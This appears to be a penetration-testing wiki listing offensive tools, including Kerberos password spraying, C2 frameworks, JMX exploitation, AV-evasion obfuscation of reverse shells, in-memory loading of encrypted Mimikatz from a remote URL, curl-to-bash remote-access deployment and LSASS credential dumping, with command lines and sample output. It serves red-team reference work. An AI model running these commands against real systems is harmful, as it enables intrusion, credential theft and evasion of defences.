[**FindUncommonShares**](https://github.com/p0dalirius/FindUncommonShares): The script [FindUncommonShares.py](https://github.com/p0dalirius/FindUncommonShares/blob/main/FindUncommonShares.py) is a Python equivalent of [PowerView](https://github.com/darkoperator/Veil-PowerView/)'s [Invoke-ShareFinder.ps1](https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1) allowing to quickly find uncommon shares in vast Windows Active Directory Domains.

![](/files/2RRClXWUVSCEe590zg1f)

[**KerberosUserEnum**](https://github.com/QAX-A-Team/KerberosUserEnum): Kerberos accounts enumeration taking advantage of AS-REQ, I wrote this script to practice my understanding of Kerberos.

```
./Enum.py --file=/tmp/usernames --dcip=192.168.88.1 --domain=TESTDOMAIN --port=88
```

[**kerbrute**](https://github.com/ropnop/kerbrute): A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication.

Kerbrute has three main commands:

* **bruteuser** - Bruteforce a single user's password from a wordlist
* **bruteforce** - Read username:password combos from a file or stdin and test them
* **passwordspray** - Test a single password against a list of users
* **userenum** - Enumerate valid domain usernames via Kerberos

```
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteforce --dc 192.168.x.x -d domain users.txt --safe -o out.txt
```

&#x20;[**ldapdomaindump**](https://github.com/dirkjanm/ldapdomaindump): Active Directory information dumper via LDAP.

[**ADSearch**](https://github.com/tomcarver16/ADSearch):  A tool written for cobalt-strike's `execute-assembly` command that allows for more efficent querying of AD.

![](/files/-MX1kXcBL3SyE3F7w1CK)

{% embed url="<https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.7_x86/ADSearch.exe>" %}

**ADHuntTool**: official report for the AdHuntTool. C# Script used for Red Team. It can be used by Cobalt Strike execute-assembly or as a standalone executable.

```
Usage: ADHuntTool.exe options domain [arguments]

ADHuntTool.exe Set
ADHuntTool.exe DumpLocalAdmin RingZer0 *optional*computername
ADHuntTool.exe DumpLocalGroup RingZer0 *optional*computername
ADHuntTool.exe DumpRemoteSession RingZer0 *optional*computername
ADHuntTool.exe DumpWkstaSession RingZer0 *optional*computername
ADHuntTool.exe CheckAdmin RingZer0 *optional*computername
ADHuntTool.exe DumpTrust RingZer0
ADHuntTool.exe DumpAllUsers RingZer0
ADHuntTool.exe DumpUser RingZer0 mr.un1k0d3r
ADHuntTool.exe DumpUsersEmail RingZer0
ADHuntTool.exe DumpAllComputers RingZer0 
ADHuntTool.exe DumpComputer RingZer0 DC01
ADHuntTool.exe DumpAllGroups RingZer0
ADHuntTool.exe DumpGroup RingZer0 "Domain Admins"
ADHuntTool.exe DumpPasswordPolicy Ringzer0,DC=local
ADHuntTool.exe DumpCertificateTemplates Ringzer0,DC=local
ADHuntTool.exe DumpPwdLastSet RingZer0
ADHuntTool.exe DumpLastLogon RingZer0
ADHuntTool.exe CheckManaged RingZer0
ADHuntTool.exe DumpLapsPassword RingZer0 *optional*computername  
ADHuntTool.exe DumpUserPassword RingZer0   
ADHuntTool.exe DumpRemoteSession RingZer0  *optional*computername  
ADHuntTool.exe PasswordBruteForce RingZer0 *optional*username (samaccountname) 
ADHuntTool.exe GetShare target *optional*Domain\Username Password
ADHuntTool.exe GetService target *optional*Domain\Username Password
```

{% embed url="<https://github.com/Mr-Un1k0d3r/ADHuntTool>" %}

[**Talon**](https://github.com/optiv/Talon): Talon is a tool designed to perform automated password guessing attacks while remaining undetected. Talon can enumerate a list of users to identify which users are valid, using Kerberos. Talon can also perform a password guessing attack against the Kerberos and LDAPS (LDAP Secure) services. Talon can either use a single domain controller or multiple ones to perform these attacks, randomizing each attempt, between the domain controllers and services (LDAP or Kerberos).

```
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-]  172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-]  172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
```

[**RemotePotato0**](https://github.com/antonioCoco/RemotePotato0)**:** RemotePotato0 is an exploit that allows you to escalate your privileges from a generic User to Domain Admin.

![](/files/-M_0QeddZT0G_X3SFcB1)

[**Coercer**](https://github.com/p0dalirius/Coercer): A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.

{% embed url="<https://github.com/p0dalirius/Coercer>" %}

![](/files/nbTkIF2eW9FZsKKlLXG5)

![](/files/KFXsJye2DCRUh1x56X2C)

[**SharpCollection**](https://github.com/Flangvik/SharpCollection): Nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

![](/files/ZABVaDit9iZSqebZGoEr)

{% embed url="<https://github.com/Flangvik/SharpCollection>" %}


# Burpsuite with Kerberos Auth

Sometimes, it's necessary to assess applications that you need to auth with TGT tickets from kerberos via VPN.

Using a Kali linux, the basic steps to reproduce this scenarios are:

* Start the VPN to the target network
* Connect to the attacker machine you can use (.e.g., in this case I need to use a double tunnel)
* Run the Burpsuite with proxychains
* Configure the Kerberos extension to get the TGT

## Start VPN

sudo openfortivpn -u <xxxx@xxx.com> -p 'password' --insecure-ssl --trusted-cert 4a11xxxxxxxbc -v

## Connect with the attacker machine inside via VPN

I need to connect first to a ubuntu machine, and through this machine connect via another tunnel a kali machine inside the target infrastructure. I can do this tunnel exposing a SOCKS proxy on my kali as follows:

ssh -D 1080 -J "<xxxx@xxx.local>"@10.91.1.10 xx.xxx\@10.100.16.12

## Run Burpsuite with proxychains

proxychains java -jar /home/kali/BurpSuitePro/burpsuite\_pro.jar

After execute the Burpsuite, I need to perform a change: change HTTP/2 to HTTP/1. In some cases this change is needed.

<figure><img src="/files/atZfRvkO31zqn25bv3sv" alt=""><figcaption></figcaption></figure>

## Configure Kerberos Extension

1. Frist, we need to create the krb5.config file. After that, add the following parameter to the file: udp\_preference\_limit = 1

```
└─$ cat /home/kali/Documents/krb5.conf
[libdefaults]
        forwardable = true
        udp_preference_limit = 1

```

<figure><img src="/files/8B74SsWu1pyDDS9ZE7cP" alt=""><figcaption></figcaption></figure>

2. After that, set the Domain Name and the IP of the KDC Host (mainly the Domain Controller). Then, "Test domain settings".
3. Next, set de domain credentials and click on "Test credentials". Here the TGT ticket is obtained.
4. Add the hosts in scope: \*.yourdomain.local
5. Activate "Proactive Kerberos authentication"
6. Test it on the Burp integrated browser on adding the burp proxy on your firefox :)

<figure><img src="/files/Vfv2GWb3Fe9bWSsd5QZJ" alt=""><figcaption></figcaption></figure>


# Cloud & Azure

[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)**:** A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.

[**PowerZure**](https://github.com/hausec/PowerZure)**:** PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.

[**SharpCloud**](https://github.com/chrismaddalena/SharpCloud)**:** Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute.

[**MicroBurst**](https://github.com/NetSPI/MicroBurst)**:** A collection of scripts for assessing Microsoft Azure security.

[**ROADtools**](https://github.com/dirkjanm/ROADtools)**:** The Azure AD exploration framework.

[**SkyArk**](https://github.com/cyberark/SkyArk)**:** SkyArk helps to discover, assess and secure the most privileged entities in Azure and AWS.

[**BlobHunter**](https://github.com/cyberark/blobhunter): Find exposed data in Azure with this public blob scanner.

![](/files/-Mci8Z3AznskWFHsNINt)

## **Prowler**

Prowler is an Open Source Security tool for AWS, Azure, GCP and Kubernetes to do security assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more

<figure><img src="/files/xaSdLJBU5LpJFJJvVVqI" alt=""><figcaption></figcaption></figure>

```
python3 -m venv venv
source venv\bin\activate
pip install prowler
```

Add the following roles on the Azure:

**ENTRA ID**

* Security Reader
* Global Reader

<figure><img src="/files/Chz67pJblf7rxOw6zOwv" alt=""><figcaption></figcaption></figure>

Azure Resources

* Domain Services Reader
* Reader

<figure><img src="/files/SvkjhfPZB0ImNLwrxfeY" alt=""><figcaption></figcaption></figure>

After that, run the prowler with the following command line:

```
prowler azure --browser-auth --tenant-id xxxxxxxxxxxx
```

See the results with:

```
prowler dashboard
```


# Command and Control (C\&C)

[**CobalStrike**](https://www.cobaltstrike.com/)**:** Cobalt Strike gives you a post-exploitation agent and covert channels to emulate a quiet long-term embedded actor in your customer’s network. Malleable C2 lets you change your network indicators to look like different malware each time. These tools complement Cobalt Strike’s solid social engineering process, its robust collaboration capability, and unique reports designed to aid blue team training.

![](/files/-MX-9ZrDti_Bxfm1o9Bu)

[**Covenant**](https://github.com/cobbr/Covenant)**:** Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.

![](/files/-MX-AN_PZIaf3PlGX6cP)

&#x20;[**Empire**](https://github.com/BC-SECURITY/Empire)**:** Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.

[**SILENTTRINITY**](https://github.com/byt3bl33d3r/SILENTTRINITY)**:**  SILENTTRINITY is modern, asynchronous, multiplayer & multiserver C2/post-exploitation framework powered by Python 3 and .NETs DLR. It's the culmination of an extensive amount of research into using embedded third-party .NET scripting languages to dynamically call .NET API's, a technique the author coined as BYOI (Bring Your Own Interpreter).&#x20;

[**koadic**](https://github.com/zerosum0x0/koadic)**:** Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.

{% embed url="<https://youtu.be/EmUxTqS5GrA>" %}

&#x20;[**merlin**](https://github.com/Ne0nd0g/merlin): Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

[![asciicast](https://asciinema.org/a/166722.svg)](https://asciinema.org/a/166722)

[**icmpsh**](https://github.com/hemp3l/icmpsh): icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.

[**pwncat**](https://github.com/calebstewart/pwncat)**:** pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown from there. It streamlines common red team operations while staging code from your attacker machine, not the target.


# (De)serialization

[**marshalsec**](https://github.com/mbechler/marshalsec): Java Unmarshaller Security - Turning your data into code execution.

```
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
```

**ysoserial:** A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)**:** Deserialization payload generator for a variety of .NET formatters.

[**rmiscout**](https://github.com/BishopFox/rmiscout): RMIScout enables wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation.

[**JNDI-Injection-Exploit**](https://github.com/welk1n/JNDI-Injection-Exploit)**:** JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on [marshals](https://github.com/mbechler/marshalsec) and modified further to link with HTTP server.

[**beanshooter**](https://github.com/qtc-de/beanshooter)**:** *Beanshooter* is a command line tool written in *Java*, which helps to identify common vulnerabilities on *JMX* endpoints.

![](/files/-MXDLDVWEwD8jUkoQI5t)

[**mjet**](https://github.com/mogwailabs/mjet): MJET allows easy exploitation of insecure configured JMX services. Additional background information can be found [here](https://www.optiv.com/blog/exploiting-jmx-rmi) and [here](https://www.owasp.org/images/c/c1/JMX_-_Java_Management_Extensions_-_Hans-Martin_Muench.pdf).

```
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 
```


# Lateral Movement

[**Neo-reGeorg**](https://github.com/L-codes/Neo-reGeorg): The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

[**Tunna**](https://github.com/SECFORCE/Tunna):  Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments.

[**pivotnacci**](https://github.com/blackarrowsec/pivotnacci)**:** Pivot into the internal network by deploying HTTP agents. Pivotnacci allows you to create a socks server that communicates with HTTP `agents`. The architecture looks like the following:

![](/files/-MYKe391DPjhNuDFPf3r)

[**ngrok**](https://ngrok.com/): Spend more time programming. One command for an instant, secure URL to your localhost server through any NAT or firewall.

[**gsocket**](https://github.com/hackerschoice/gsocket)**:** The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.

Use either one of these two commands to *deploy*:

```
bash -c "$(curl -fsSL gsocket.io/x)"
bash -c "$(wget -qO- gsocket.io/x)"
```

![](/files/-MZ9NPDjsl7MZ_phLOd_)

Use either one of these two commands to *uninstall*:

```
GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/x)"
GS_UNDO=1 bash -c "$(wget -qO- gsocket.io/x)"
```

Access the remote host from anywhere in the world:

```
$ gs-netcat -s ExampleSecretChagneMe -i
```

![](/files/-MZ9NRYvSTcsxKTESBHa)

{% embed url="<https://youtu.be/tmf9VGDPILE>" %}

{% embed url="<https://www.gsocket.io/deploy/>" %}

[**evil-winrm**](https://github.com/Hackplayers/evil-winrm)**:** This shell is the ultimate WinRM shell for hacking/pentesting.

```
ruby evil-winrm.rb -i 10.10.10.161 -u username -p passw0rd
ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79
ruby evil-winrm.rb -i 10.10.10.149 -u 'DOMAIN\USER' -p 'passw0rd
```

**proxychains windows**

```
.\proxychains_win32_x64.exe -f .\proxychains.conf C:\Users\IEUser\Downloads\SharpHound.exe --collectionmethods All
```

{% embed url="<https://github.com/shunf4/proxychains-windows>" %}


# Powershell

[**nishang**](https://github.com/samratashok/nishang)**:** Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.


# Privilege Escalation

[**CrossC2**](https://github.com/gloxec/CrossC2)**:** generate CobaltStrike's cross-platform payload.

```
/genCrossC2.Linux 127.0.0.1 4444 .cobaltstrike.beacon_keys null Linux x86 ./cross
```

![](/files/-MX2VfEJzumsW7IhkwSw)

&#x20;[**TheFatRat**](https://github.com/Screetsec/TheFatRat):  TheFatRat is an exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Linux , Windows , Mac and Android. TheFatRat Provides An Easy way to create Backdoors and Payload which can bypass most anti-virus.

![](/files/-MX2RLcYTTd5ZXRf9lQ5)

[**traitor**](https://github.com/liamg/traitor)**:** Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins.

![](/files/-MYEXJ5SR6Pq4MgPv3lB)

## Windows

&#x20;[**DKMC**](https://github.com/Mr-Un1k0d3r/DKMC)**:** Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandbox analysis since it's a simple "legit" image. For now the tool relies on PowerShell to execute the final shellcode payload.

&#x20;[**darkarmour**](https://github.com/bats3c/darkarmour)**:** Store and execute an encrypted windows binary from inside memory, without a single bit touching disk.

```
./darkarmour.py -f bins/meter.exe --encrypt xor --jmp -o bins/legit.exe --loop 5
```

[**donut:**](https://github.com/TheWover/donut) Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

[**chimera**](https://github.com/tokyoneon/Chimera)**:** Chimera is a (shiny and very hack-ish) PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.

![](/files/-MX-6wqX6x00X9iSE3FF)

```
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o /tmp/chimera.ps1 -g -v -t -j -i -c -h -s -b -e

# "cmd.exe" isn't a data type but when wrapped in double-quotes, this works
# https://www.sparknotes.com/lit/harrypotter/section1/
./chimera.sh -f shells/generic1.ps1 -l 2 -o /tmp/chimera.ps1 -v -t cmd.exe -c /tmp/harry_potter.txt -i -h -s getstream -b new-object -j -g -k -r -p

./chimera.sh -f shells/generic2.ps1 -l 1 -o /tmp/chimera.ps1 -v -t -c -i -h -s excePTIon.InneRexcePTIon.message,getstream -b invoke-expression,new-object -j -g -k -r -p

./chimera.sh -f shells/generic3.ps1 -l 1 -o /tmp/chimera.ps1 -v -t -c -i -h -s equals,split,getstream -b new-object -j -g -k -r -p

# short strings like `-s pwd` are prone to breaking scrips
./chimera.sh -f shells/powershell_reverse_shell.ps1 -l 2 -o /tmp/chimera.ps1 -v -t -c -i -h -s getstream,close,pwd,ascii,write -b iex,out-string,new-object -j -g -k -r -p

# nishang scripts
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,invoke-expression,out-string,write-error -j -g -k -r -p
./chimera.sh -f shells/Invoke-PowerShellTcpOneLine.ps1 -l 2 -o /tmp/chimera.ps1 -v -t -c -i -h -s getstream,read -b while,new-object,iex -j -g -k -r -p
```

[**Invoke-Stealth**](https://github.com/JoelGMSec/Invoke-Stealth)**:** This tool helps you to automate the obfuscation process of any script written in PowerShell with different techniques.

![](/files/-MZSx1b3Xl68VS6X8z17)

[**BetterXencrypt**](https://github.com/GetRektBoy724/BetterXencrypt)**:** A better version of Xencrypt.Xencrypt it self is a Powershell runtime crypter designed to evade AVs.

```
Encrypt C# file:
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc

Only full paths to the file are accepted at this point. The encrypted files generated by Invoke-SharpEncrypt can then be hosted on a web server on the Internet or stored on the target system on disk. Invoke-SharpLoader can be used to decrypt and execute the files in memory. Two examples demonstrate how to load a file from a remote webserver or from disk.

Load from URL:
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs

Load from DISK:
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
```

```
Import-Module ./betterxencrypt.ps1
Invoke-BetterXencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
```

[**Invoke-SharpLoader**](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)**:** Load encrypted and compressed C# Code from a remote Webserver or from a local file straight to memory and execute it there.

[**PEASS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)**:** Privilege Escalation Awesome Scripts SUITE.

[**deepce**](https://github.com/stealthcopter/deepce)**:** Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE).

[**unicorn**](https://github.com/trustedsec/unicorn): Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

```
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
```

[**InvisibilityCloak:**](https://github.com/xforcered/InvisibilityCloak) Proof-of-concept obfuscation toolkit for C# post-exploitation tools.

![](/files/7bM9SOOdzBU03LEnwbcD)

Below is the difference in Seatbelt between unobfuscated and then obfuscated version with InvisibilityCloak against Microsoft Defender using [Defender Check](https://github.com/matterpreter/DefenderCheck).

![](/files/WFo486EjOlV6XiZ2WJZo)

[**ScareCrow**](https://github.com/optiv/ScareCrow): ScareCrow - Payload creation framework designed around EDR bypass.

![Before.](/files/-MXHDEiymg77K5Dizyl7)

![After.](/files/-MXHDIzq-iuqhk8iAkEs)

[**PowerSploit**](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)**:** PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.

```
powershell Invoke-WebRequest http://10.10.14.14/PowerUp.ps1 -OutFile PowerUp.ps1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
```

&#x20;[**Powerless**](https://github.com/M4ximuss/Powerless)**:** Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind.

&#x20;[**Watson**](https://github.com/rasta-mouse/Watson)**:** Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities.

```
C:\> Watson.exe
  __    __      _
 / / /\ \ \__ _| |_ ___  ___  _ __
 \ \/  \/ / _` | __/ __|/ _ \| '_ \
  \  /\  / (_| | |_\__ \ (_) | | | |
   \/  \/ \__,_|\__|___/\___/|_| |_|

                           v2.0

                   @_RastaMouse

 [*] OS Build Number: 14393
 [*] Enumerating installed KBs...

 [!] CVE-2019-0836 : VULNERABLE
  [>] https://exploit-db.com/exploits/46718
  [>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/

 [!] CVE-2019-0841 : VULNERABLE
  [>] https://github.com/rogue-kdc/CVE-2019-0841
  [>] https://rastamouse.me/tags/cve-2019-0841/

 [!] CVE-2019-1064 : VULNERABLE
  [>] https://www.rythmstick.net/posts/cve-2019-1064/

 [!] CVE-2019-1130 : VULNERABLE
  [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
```

&#x20;[**Sherlock**](https://github.com/rasta-mouse/Sherlock): PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

&#x20;[**JAWS**](https://github.com/411Hall/JAWS)**:** JAWS is a PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7.

[**AccessChk**](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)**:** Find misconfigured services.

```
accesschk.exe /accepteula
accesschk "power users" c:\windows\system32
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
```

[**MineSweeper**](https://github.com/ars3n11/MineSweeper)**:** Windows user-land hooks manipulation tool.

![](/files/-MYXEYQQiH7Pgb4mnJNV)

[**pe-sieve**](https://github.com/hasherezade/pe-sieve)**:** Scans a given process. Recognizes and dumps a variety of potentially malicious implants (replaced/injected PEs, shellcodes, hooks, in-memory patches).

{% embed url="<https://youtu.be/fwo4XE2xgis>" %}

[**hollows\_hunter**](https://github.com/hasherezade/hollows_hunter)**:** Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).

{% embed url="<https://youtu.be/rH4XzNwgVoo>" %}

[**SharpImpersonation**](https://github.com/S3cur3Th1sSh1t/SharpImpersonation)**:** A User Impersonation tool - via Token or Shellcode injection.

![](/files/-MeWbVGMRR5YpNriFNqR)

{% embed url="<https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/>" %}

**PINKPHANTER**: Windows x64 handcrafted token stealing kernel-mode shellcode

{% embed url="<https://github.com/winterknife/PINKPANTHER>" %}

[**Koh**](https://github.com/GhostPack/Koh)**:** The Token Stealer.

{% embed url="<https://github.com/GhostPack/Koh>" %}

## Linux

[**gtfobins.github.io**](https://gtfobins.github.io/)**:** GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

[**LinEnum**](https://github.com/rebootuser/LinEnum): Linux sh script for privesc.

```
/LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```

&#x20;[**pspy**](https://github.com/DominicBreuker/pspy): unprivileged Linux process snooping.

![](/files/-MX2K9wJNj8dOphMh_qB)

## Other

{% embed url="<https://github.com/Mayyhem/SharpSCCM>" %}


# Exfiltration

## DNS

[**Collabfiltrator**](https://github.com/0xC01DF00D/Collabfiltrator)**:** Exfiltrate blind remote code execution output over DNS via Burp Collaborator.

![](/files/-MXaUq6OW8nDFBnQK4eJ)

![](/files/-MXaUuBQxeLfhCYJXW54)

[**dnsteal**](https://github.com/m57/dnsteal)**:** This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.

![](/files/-MX-I9e02LHNtl0Pm0XD)

## Credentials

[**LaZagne**](https://github.com/AlessandroZ/LaZagne):  The LaZagne project is an open-source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.

![](/files/-MX1jXndWXMWrv3CCDwj)

[**LeakedDBParser**](https://github.com/hegusung/LeakedDBParser)**:** Just a quick'n'dirty tool to parse leaked databases (csv-like or sql format).

```
./leakeddbparser.py <hashfile> [-o <output_file>] [-n max_lines] {csv|sql} [csv or sql options]
```

[**pypykatz**](https://github.com/skelsec/pypykatz): Mimikatz implementation in pure Python. At least a part of it.

```
pypykatz lsa minidump /home/kali/Downloads/lsass.DMP
```

![](/files/-MX2M0QF1tTWL4yi0Neh)

[**spraykatz**](https://github.com/aas-n/spraykatz)**:** Credentials gathering tool automating remote procdump and parse of lsass process.

![](/files/-MZr-xz9H9vYNBmQbDt8)

[**SharpKatz**](https://github.com/b4rtik/SharpKatz)**:** Porting of mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys and lsadump::dcsync commands.

[**MirrorDump**](https://github.com/CCob/MirrorDump)**:** Another LSASS dumping tool that uses a dynamically compiled LSA plugin to grab an lsass handle and API hooking for capturing the dump in memory.

```
.\MirrorDump.exe -f "NotLSASS.zip" -d "LegitLSAPlugin.dll" -l 1073741824
[+] Generating new LSA DLL LegitLSAPlugin.dll targetting PID 572.....Done.
[+] LSA securiy package loaded, searching current process for duplicated LSASS handle
[+] Found duplicated LSASS process handle 0x3ec
[=] Dumping LSASS memory.........
[+] Minidump successfully saved to memory, size 88.06MB
[+] Minidump compressed and saved to NotLSASS.zip
```

[**Tokenvator**](https://github.com/0xbadjuju/Tokenvator): A tool to alter privilege with Windows Tokens.

![](/files/-MX2Ryov24ixhYew1WXp)

[**juicy-potato**](https://github.com/ohpe/juicy-potato)**:** A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.

![](/files/-MX4aP-2F8Gr8WRTUwbw)

[**RottenPotatoNG**](https://github.com/breenmachine/RottenPotatoNG)**:** New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools.

[**SharpCloud**](https://github.com/chrismaddalena/SharpCloud)**:** Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute.

[**KeeThief**](https://github.com/GhostPack/KeeThief)**:** Methods for attacking KeePass 2.X databases, including extracting of encryption key material from memory.

[**SharpLAPS**](https://github.com/swisskyrepo/SharpLAPS)**:** Retrieve LAPS password from LDAP.

```
SharpLAPS.exe /user:DOMAIN\User /pass:MyP@ssw0rd123! /host:192.168.1.1
```

![](/files/-MXWMEqznMKLnDQFALuM)

[**PCredz**](https://github.com/lgandx/PCredz)**:** This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

```
# extract credentials from a pcap file
python3 ./Pcredz -f file-to-parse.pcap

# extract credentials from all pcap files in a folder
python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

# extract credentials from a live packet capture on a network interface (need root privileges)
python3 ./Pcredz -i eth0 -v
```

## [LSASS dumping in 2021/2022 - from memory - without C2](https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/)

![](/files/Se4Odn20fG904aHS75fa)

## NTLM Theft

